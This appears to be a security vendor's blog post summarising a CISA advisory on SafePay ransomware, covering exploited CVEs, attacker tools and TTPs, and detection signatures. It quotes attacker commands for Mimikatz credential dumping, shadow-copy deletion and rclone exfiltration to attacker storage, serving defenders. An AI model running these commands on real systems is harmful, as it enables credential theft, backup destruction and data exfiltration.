Key Takeaways
- CISA advisory AA26-293A, released October 20, 2026, details SafePay ransomware TTPs and indicators of compromise.
- Active since August 2024, SafePay has hit at least 600 victims across critical infrastructure sectors on four continents.
- SafePay operates as a closed group, not RaaS, and often moves from access to encryption within 24 hours.
- Initial access relies on stolen credentials and exploited vulnerabilities in Cisco ASA, SonicWall SonicOS, and Veeam Backup & Replication.
- Attackers use Mimikatz, PsExec, legitimate RMM tools, and Rclone to steal credentials, move laterally, and exfiltrate data.
- SafePay deletes shadow copies, resets NAS backups, and terminates security and backup services before encrypting files with the .safepay extension.
- The Picus Platform simulates SafePay ransomware attacks so teams can validate security controls against this threat.
On October 20, 2026, the Cybersecurity and Infrastructure Security Agency (CISA) published the joint Cybersecurity Advisory AA26-293A, "#StopRansomware: SafePay Ransomware", co-authored with U.S., German, and U.K. law enforcement partners [5]. The advisory shares SafePay tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) identified in investigations as recent as August 2026.
According to the advisory, SafePay has been active since August 2024, with at least 600 victims across critical infrastructure sectors in North America, South America, Europe, and Australia [5]. Unlike the dominant Ransomware-as-a-Service (RaaS) models, SafePay operates as a centralized, closed group, limiting the code leaks and law enforcement infiltration that plagued LockBit and ALPHV [1]. The group uses double extortion, stealing sensitive data before encryption, and often moves from initial access to encryption within 24 hours [2].
In this blog, we explain how SafePay ransomware works and show how you can simulate SafePay attacks to test your security controls against this threat.
How Does SafePay Ransomware Work?
Initial Access
Attackers typically gain entry through compromised credentials, often purchased from initial access brokers or obtained via brute-force attacks. These credentials are used to exploit valid accounts on VPN gateways, Remote Desktop Protocol (RDP) servers, and other edge devices. In some observed incidents, misconfigured firewalls, specifically FortiGate devices allowing local account authentication without Multi-Factor Authentication (MFA), served as the entry point.
SafePay actors also connect from IP addresses belonging to the commercial VPN provider Mullvad. To access victim networks, they use phished account profiles and exploit the following vulnerabilities in edge devices [5]:
|
CVE |
Affected Product |
Weakness |
|
CVE-2020-3259 |
Cisco ASA / FTD (web services) |
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor |
|
CVE-2023-20269 |
Cisco ASA / FTD (remote access VPN) |
CWE-288: Authentication Bypass Using an Alternate Path or Channel |
SafePay actors also use automated scripts to exploit the following vulnerabilities on internet-exposed systems [5]:
|
CVE |
Affected Product |
Weakness |
|
CVE-2023-27532 |
Veeam Backup & Replication |
CWE-306: Missing Authentication for Critical Function |
|
CVE-2024-40711 |
Veeam Backup & Replication |
CWE-502: Deserialization of Untrusted Data |
|
CVE-2024-40766 |
SonicWall SonicOS |
CWE-284: Improper Access Control |
Targeting Veeam servers is especially damaging because it gives the attackers a direct path to the backup infrastructure that victims would otherwise use for recovery.
Persistence and Privilege Escalation
After gaining initial access, SafePay actors establish persistence by manipulating existing accounts or creating new ones with administrative privileges. They also use ScreenConnect to maintain persistent remote access to compromised systems [5].
To escalate privileges, the malware may attempt to bypass User Account Control (UAC) using the CMSTPLUA COM interface.
Additionally, the group leverages credential theft tools such as Mimikatz to extract authentication credentials, including Kerberos tickets, which can facilitate further access to compromised environments. For example, threat actors may have used the command below:
|
# Dump cached Kerberos tickets from LSASS memory to .kirbi files mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit" |
They also use dcsync.exe, a tool associated with extracting Active Directory credentials through DCSync operations [5].
These techniques allow SafePay actors to expand their privileges and maintain control over compromised systems before proceeding with lateral movement and ransomware deployment.
Discovery and Lateral Movement
Upon establishing a foothold, the attackers initiate network discovery to identify valuable assets and file shares. Observed tools include ShareFinder.ps1 (specifically the Invoke-ShareFinder command) and SharpShares.exe, both used to identify and enumerate network file shares. The group also uses NetExec, a network assessment tool that can enumerate systems, validate credentials, and support remote operations across compromised networks [5].
Lateral movement is facilitated by standard administrative utilities and Living-off-the-Land Binaries (LOLBins). The group leverages PsExec and WinRM to execute commands on remote systems [4]. A standard command to execute a process on a remote host using PsExec might look like:
|
PsExec.exe \\TARGET_IP -u Domain\Admin -p Password cmd.exe |
SafePay actors also leverage Remote Desktop Protocol (RDP) and legitimate Remote Monitoring and Management (RMM) software to move between systems. In some incidents, attackers installed AnyDesk or TeamViewer to transfer ransomware and other software onto victim systems [5].
The use of legitimate remote administration tools makes distinguishing malicious activity from authorized IT operations especially challenging.
Defense Evasion
SafePay actively neutralizes security defenses before deploying the encryptor. This involves terminating processes associated with antivirus software, databases, and backup solutions.
The malware contains a hardcoded, encrypted list of services and processes to kill. Observed targets include [3]:
- Processes: sql, oracle, firefox, excel, onenote, outlook, steam, notepad, msaccess, winword, encsvc, ocautoupds.
- Services: vss, sqlsvc, msexchange, Sophos, Veeam, backup, GxVss.
To prevent recovery, the ransomware deletes Volume Shadow Copies and modifies boot configurations using the following commands [3]:
|
vssadmin delete shadows /all /quiet |
Beyond deleting Volume Shadow Copies and modifying boot configurations, SafePay actors have been observed resetting Network Attached Storage (NAS) devices containing victim backup data to factory settings, which further inhibits recovery [5].
In some incidents, attackers changed system users' passwords, preventing legitimate users from accessing their accounts [5].
Data Exfiltration
Prior to encryption, data is harvested and staged. The group targets specific file types (e.g., .docx, .pdf, .xlsx) and avoids system files. Data is archived using WinRAR and then exfiltrated. The attackers use complex command-line arguments to archive data while excluding non-essential file types [3]:
|
WinRAR.exe a -v5g -ed -r -tn1000d -m0 -mt5 -x*.rar -x*.JPEG -x*.RAW -x*.PSD -x*.TIFF -x*.BMP -x*.GIF -x*.JPG -x*.MOV -x*.pst -x*.FIT -x*.FIL -x*.mp4 -x*.avi -x*.mov -x*.mdb -x*.iso -x*.exe -x*.dll -x*.bak -x*.msg -x*.png -x*.zip -x*.ai -x*.7z -x*.DPM -x*.log -x*.dxf -x*.insp -x*.upd -x*.db -x*.dwg -x*.nc1 -x*.metadata -x*.dg -x*.inp -x*.dat -x*.TIFF -x*.tiger -x*.pcp -x*.rvt -x*.rws -x*.nwc -x*.tif -x*.frx -x*.dyf -x*.rcs -x*.diff C:\[redacted].rar \\[redacted]\C$\Users\ |
SafePay actors rely on legitimate file-transfer utilities and cloud services to exfiltrate data. The group uses WinSCP and Rclone to transfer stolen information to attacker-controlled accounts, and in some incidents leverages Microsoft OneDrive to move data through a legitimate cloud storage service [5]. A typical Rclone command for this purpose might look like:
|
# Copy staged data to an attacker-controlled remote storage rclone.exe copy C:\[redacted]\ remote:[redacted] --transfers 8 |
SafePay actors also use Backblaze B2 cloud storage, running the b2.exe command-line utility to exfiltrate victim data [5].
By combining traditional file archiving with legitimate cloud infrastructure, the group blends data theft into normal network traffic.
Ransomware Execution and Encryption
The ransomware binary is a native Windows PE32 DLL, often disguised with fake compilation timestamps, and is typically executed via regsvr32.exe or rundll32.exe [3].
The malware refuses to run without specific flags, particularly the password argument, which is used to decode additional information in code [3]. Below are the most notable arguments it accepts:
|
-pass= : Mandatory. Password (32 bytes) to decode additional information in code.
-network: Initiates network propagation to encrypt shared folders.
|
The encryption scheme utilizes a hybrid approach:
- File Encryption: Files are encrypted using the AES or ChaCha20 algorithm [3] [1].
- Key Management: A unique symmetric key is generated for each file. This key is then encrypted using RSA or x25519 (Elliptic Curve Diffie-Hellman) and appended to the file footer.
- File Structure: Files are encrypted in blocks (intermittent encryption) to speed up the process. A metadata block (typically 65 bytes) containing the encrypted key and validation hash is added to the end of the file.
- Renaming: Encrypted files receive the .safepay extension.
The malware includes a "kill switch" that checks the system's language settings. If a Cyrillic keyboard layout is detected (e.g., Russian, Ukrainian, Belarusian), the malware terminates execution.
How Does Picus Simulate SafePay Ransomware Attacks?
We strongly suggest simulating SafePay Ransomware Attacks to test the effectiveness of your security controls against real-life cyber attacks using the Picus Platform. You can also test your defenses against hundreds of other ransomware variants, such as HybridPetya, Yurei, BlackNevas, and CyberVolk, within minutes with a 14-day free trial of the Picus Platform.
Picus Threat Library includes the following threats for the SafePay Ransomware Campaign:
|
Threat ID |
Threat Name |
Attack Module |
|
46463 |
SafePay Ransomware Email Threat |
E-mail Infiltration |
|
58665 |
SafePay Ransomware Download Threat |
Network Infiltration |
|
25266 |
SafePay Ransomware Campaign |
Windows Endpoint |
|
33598 |
SharpShares Hacktool Email Threat |
E-mail Infiltration |
|
68440 |
SharpShares Hacktool Download Threat |
Network Infiltration |
Picus also provides actionable mitigation content. Picus Mitigation Library includes prevention signatures to address SafePay ransomware attacks in preventive security controls. Currently, Picus Labs has validated the following signatures for SafePay ransomware:
|
Security Control |
Signature ID |
Signature Name |
|
Check Point NGFW |
0CFB854A3 |
Generic.Win32.Generic.TC.28beKuPA |
|
Check Point NGFW |
0C4B1813B |
Trojan.Win32.Agent.xbutvh.TC.e60bxlEd |
|
Check Point NGFW |
0EE6C9BD7 |
Generic.Win32.Generic.TC.67acOjZf |
|
Cisco Firepower |
1.301181.1 |
MALWARE-OTHER Win.Ransomware.SafePay variant download attempt |
|
Cisco Firepower |
- |
W32.BBDD3620A6-95.SBX.TG |
|
Fortigate AV |
58991 |
W32/PossibleThreat |
|
McAfee vNSP |
0x48439400 |
MALWARE: File Mismatch Detected |
|
McAfee vNSP |
0x4840c900 |
MALWARE: Malicious File Detected by GTI |
|
PaloAlto IPS |
688221178 |
adware/Win32.barys.acda |
|
PaloAlto IPS |
705517717 |
hacktool/Win32.sharpshares.a |
|
Snort |
1.64770.1 |
MALWARE-OTHER Win.Ransomware.SafePay variant download attempt |
Start simulating emerging threats today
Get actionable mitigation insights with a 14-day free trial of the Picus Platform.